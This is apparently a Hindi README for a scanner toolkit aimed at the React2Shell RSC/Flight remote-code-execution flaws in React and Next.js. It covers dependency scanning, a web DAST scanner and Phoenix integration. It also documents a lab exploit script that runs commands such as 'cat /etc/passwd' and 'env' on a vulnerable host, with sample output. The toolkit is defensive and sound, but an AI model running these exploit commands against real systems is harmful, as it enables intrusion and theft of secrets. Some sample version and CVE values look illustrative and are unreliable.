CVE-2025-55182 (React) और CVE-2025-66478 (Next.js) के लिए स्कैनर - react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack, और RSC-सक्षम फ्रेमवर्क जैसे Next.js को प्रभावित करने वाले एक गंभीर React Server Components (RSC) / Flight प्रोटोकॉल भेद्यता अभियान को ट्रैक करें और उसका समाधान करें।
React2Shell बग वर्ग के लिए EXTERNAL भेद्यता: React Server Components (RSC) "Flight" प्रोटोकॉल में दो ताजा खोजी गई, अप्रमाणित रिमोट कोड निष्पादन भेद्यताएँ—CVE-2025-55182 (React) और CVE-2025-66478 (Next.js), दोनों को CVSS 10.0 रेट किया गया है। ये समस्याएँ इस बात में निहित हैं कि कैसे RSC/सर्वर फ़ंक्शन एंडपॉइंट attacker-नियंत्रित Flight पेलोड को डिकोड करते हैं, एक एकल क्राफ्टेड HTTP अनुरोध को संभावित सर्वर-साइड कोड निष्पादन में बदल देते हैं—यहाँ तक कि App Router और प्रोडक्शन बिल्ड का उपयोग करने वाले "डिफ़ॉल्ट" आधुनिक React/Next.js स्टैक पर भी। कई टीमों के लिए यह "अब पैच करें, एक्सपोज़र सत्यापित करें, फिर ऑडिट करें" का क्षण है, न कि बाद की डिपेंडेंसी स्वच्छता स्प्रिंट पर टालने वाली कोई चीज़।
LAB फ़ोल्डर में React2Shell के लिए एक्सप्लॉइट और लैब भेद्यताएँ शामिल हैं।
यह परियोजना एक दो-आयामी दृष्टिकोण प्रदान करती है: (1) सॉफ़्टवेयर संरचना / डिपेंडेंसी जोखिम स्कैनिंग (यह टूल), ताकि कमजोर लाइब्रेरी और संस्करणों को तेज़ी से ढूंढा जा सके, और (2) एक वेब DAST स्कैनर (React2Shell वेब स्कैनर) जो बाहर से RSC/Flight एंडपॉइंट को सक्रिय रूप से प्रोब करता है, यह सत्यापित करते हुए कि चालू वातावरण में शोषण योग्य पथ पहुँच योग्य हैं या नहीं। साथ में, ये आपको "कमजोर घटक कहाँ हैं?" और "उत्पादन में वास्तव में कहाँ शोषण किया जा सकता है?" दोनों का उत्तर देने में मदद करते हैं, ताकि आप आत्मविश्वास के साथ पैचिंग, हार्डनिंग और घटना प्रतिक्रिया को प्राथमिकता दे सकें।
लाइव एंडपॉइंट परीक्षण और RCE सत्यापन के लिए, समर्पित वेब स्कैनर देखें:
📁 web-scan_CVE-2025-66478/ - पूर्ण दस्तावेज़ीकरण और गाइड
cd web-scan_CVE-2025-66478
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# एकल लक्ष्य स्कैन करें
python3 react2shell-scanner -u https://target.com -v
# साक्ष्य प्रदर्शन के साथ स्कैन करें
python3 react2shell-scanner -u https://target.com --show-evidence
# सभी निर्यात स्वरूपों के साथ बैच स्कैन
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# कमजोर लक्ष्य पर एक्सप्लॉइट का परीक्षण करें (Python 3.11+ आवश्यक)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| सुविधा | विवरण |
|---|---|
| 🔍 RCE डिटेक्शन | अंकगणित-आधारित सुरक्षित डिटेक्शन (कोई साइड इफ़ेक्ट नहीं) |
| 🎯 टेक्नोलॉजी फ़िंगरप्रिंटिंग | स्वतः Next.js/React अनुप्रयोगों का पता लगाएँ |
| 📊 मल्टी-फ़ॉर्मेट एक्सपोर्ट | JSON, CSV, HTML रिपोर्ट |
| 🔗 IOC सहसंबंध | 31+ ज्ञात दुर्भावनापूर्ण IP से मिलान करें |
| 🌐 स्केल स्कैनिंग | CIDR रेंज, सबडोमेन गणना |
| ☁️ Phoenix एकीकरण | Phoenix Security पर परिणाम अपलोड करें |
| 💻 एक्सप्लॉइट टूल | कमजोर लक्ष्यों पर कमांड निष्पादित करें |
cd web-scan_CVE-2025-66478/test-lab/lab
# कमजोर (3011) और पैच किए गए (3012) इंस्टेंस प्रारंभ करें
docker-compose up -d
# कमजोर इंस्टेंस का परीक्षण करें
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# एक्सप्लॉइट निर्भरताएँ स्थापित करें
pip3.11 install -r requirements.txt
# बुनियादी कमांड निष्पादन
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# आउटपुट: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# आउटपुट: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# आउटपुट: 99e28775bf80 (कंटेनर ID)
# सिस्टम गणना
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# एप्लिकेशन रीकॉन
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell React Server Components (RSC) पेलोड हैंडलिंग में Flight प्रोटोकॉल के विरुद्ध एक अप्रमाणित रिमोट कोड निष्पादन प्राइमिटिव है। व्यवहार में, इसका मतलब है कि एक दुर्भावनापूर्ण क्लाइंट RSC/सर्वर फ़ंक्शन एंडपॉइंट पर एक एकल क्राफ्टेड HTTP अनुरोध भेज सकता है और, यदि कोई कमजोर संस्करण चल रहा है, तो संभावित रूप से "वेब ऐप" को "सर्वर शेल" में बदल सकता है।
उच्च स्तर पर:
चूँकि यह अप्रमाणित RCE है, डिफ़ॉल्ट प्रोडक्शन सेटअप दायरे में हैं—भले ही आपने कभी स्पष्ट रूप से "सर्वर फ़ंक्शन" नहीं लिखा हो और केवल आधुनिक React/Next.js पैटर्न अपनाए हों। होस्टिंग-स्तरीय शमन और सामान्य WAF को आपकी प्राथमिक सुरक्षा जाल के रूप में नहीं माना जाना चाहिए: वे एक्सपोज़र को कम कर सकते हैं लेकिन कमजोर लाइब्रेरी के लिए विश्वसनीय रूप से क्षतिपूर्ति नहीं करेंगे। इसे एक घटना के रूप में मानें:
एक बार जब कोई हमलावर React2Shell के माध्यम से RCE प्राप्त कर लेता है, तो रक्षकों को एक परिचित किल चेन मान लेनी चाहिए:
.env फ़ाइलें, परिनियोजन रहस्य, CI टोकन, सेवा क्रेडेंशियल और साइनिंग कुंजियाँ एकत्र करें।यदि आपके DevSecOps पाइपलाइन ने ऐतिहासिक रूप से वेब टियर को "केवल एक फ्रंटएंड" के रूप में माना है, तो यह भेद्यता एक ठोस प्रदर्शन है कि जब RSC और स्ट्रीमिंग सिमैंटिक्स शामिल होते हैं तो फ्रंटएंड फ्रेमवर्क गहरी सर्वर-साइड ब्लास्ट त्रिज्या ले सकते हैं। यूनिवर्सल भेद्यता स्कैनर आपको तेज़ी से उत्तर देने में मदद करने के लिए मौजूद है "क्या हम कहीं भी कमजोर पैकेज चला रहे हैं?" और उस उत्तर को Phoenix-संचालित अभियानों और जल्द ही, लाइव RSC एंडपॉइंट के पूरक वेब DAST सत्यापन में फ़ीड करने के लिए।
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# परियोजना रूट से चलाएँ
python -m universal_vulnerability_scanner.main --help
# बुनियादी स्कैन
python -m universal_vulnerability_scanner.main scan /path/to/project
# JSON आउटपुट के साथ
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# शांत मोड (केवल सारांश दिखाएँ)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Phoenix कॉन्फ़िगरेशन टेम्पलेट बनाएँ
python -m universal_vulnerability_scanner.main create-config
# अपने क्रेडेंशियल के साथ .phoenix.config संपादित करें
# फिर स्कैन करें और अपलोड करें
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# शामिल कमजोर नमूनों के साथ परीक्षण करें
python -m universal_vulnerability_scanner.main test
स्कैनर एक JSON-आधारित भेद्यता डेटाबेस का उपयोग करता है जो यहाँ स्थित है:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "भेद्यता विवरण",
"references": ["https://..."]
}
}
}
}
.phoenix.config बनाएँ:
[phoenix]
client_id = आपका_क्लाइंट_आईडी_यहाँ
client_secret = आपका_क्लाइंट_सीक्रेट_यहाँ
api_base_url = https://api.securityphoenix.cloud
assessment_name = यूनिवर्सल भेद्यता स्कैनर - RSC डिटेक्शन
import_type = new
या पर्यावरण चर का उपयोग करें:
export PHOENIX_CLIENT_ID="आपका_क्लाइंट_आईडी"
export PHOENIX_CLIENT_SECRET="आपका_क्लाइंट_सीक्रेट"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
यूनिवर्सल भेद्यता स्कैनर रिपोर्ट
================================================================================
स्कैन पूर्ण: 2025-12-04 10:30:00
सारांश:
----------------------------------------
कुल निष्कर्ष: 12
कमजोर: 3
सुरक्षित: 2
स्वच्छ: 5
समीक्षा: 2
🚨 कमजोर पैकेज का पता चला
================================================================================
1. [email protected]
फ़ाइल: /path/to/project/package.json
कारण: ज्ञात कमजोर संस्करण 19.0.0 से सटीक मिलान
✅ सुरक्षित संस्करण: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "ज्ञात कमजोर संस्करण 19.0.0 से सटीक मिलान",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
स्कैनर में test_samples/ में व्यापक परीक्षण नमूने शामिल हैं:
| परीक्षण मामला | विवरण | अपेक्षित परिणाम |
|---|---|---|
rsc_vulnerable_exact/ | सटीक कमजोर संस्करण | 4 कमजोर |
rsc_vulnerable_range/ | संस्करण श्रेणियाँ | 4 कमजोर |
rsc_safe_versions/ | पैच किए गए सुरक्षित संस्करण | 6 सुरक्षित |
rsc_mixed/ | कमजोर/सुरक्षित/स्वच्छ का मिश्रण | 2 कमजोर, 1 सुरक्षित, 4 स्वच्छ |
rsc_with_lockfile/ | लॉकफ़ाइल पार्सिंग | 2 कमजोर, 1 स्वच्छ |
परीक्षण चलाएँ:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver पार्सिंग और तुलना
├── models/
│ ├── finding.py # निष्कर्ष डेटा मॉडल
│ └── vulnerability.py # भेद्यता डेटाबेस मॉडल
├── scanners/
│ ├── base_scanner.py # अमूर्त स्कैनर इंटरफ़ेस
│ └── npm_scanner.py # NPM इकोसिस्टम स्कैनर
├── integrations/
│ └── phoenix_uploader.py # Phoenix API क्लाइंट
├── data/
│ └── vulnerability_database.json # भेद्यता परिभाषाएँ
├── test_samples/ # परीक्षण मामले
└── main.py # CLI प्रवेश बिंदु
BaseScanner से प्राप्त scanners/ में नया स्कैनर बनाएँउदाहरण:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# PyPI स्कैनिंग तर्क लागू करें
pass
data/vulnerability_database.json संपादित करें:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "भेद्यता विवरण"
}
}
}
0 - स्कैन सफल, कोई भेद्यता नहीं मिली1 - स्कैन सफल, भेद्यताएँ मिलीं2 - स्कैन विफल (अमान्य इनपुट, डेटाबेस त्रुटि, आदि)स्वचालित रूप से Phoenix पर निष्कर्ष अपलोड करता है:
# उदाहरण GitHub क्रियाएँ
- name: भेद्यता स्कैन
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Phoenix पर अपलोड करें
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.py से अनुकूलितenhanced_npm_compromise_detector_phoenix.py से अनुकूलितShai Halud सुरक्षा टूलकिट का हिस्सा।
🔍 सुरक्षित रहें! भेद्यताओं की जिम्मेदारीपूर्वक रिपोर्ट करें।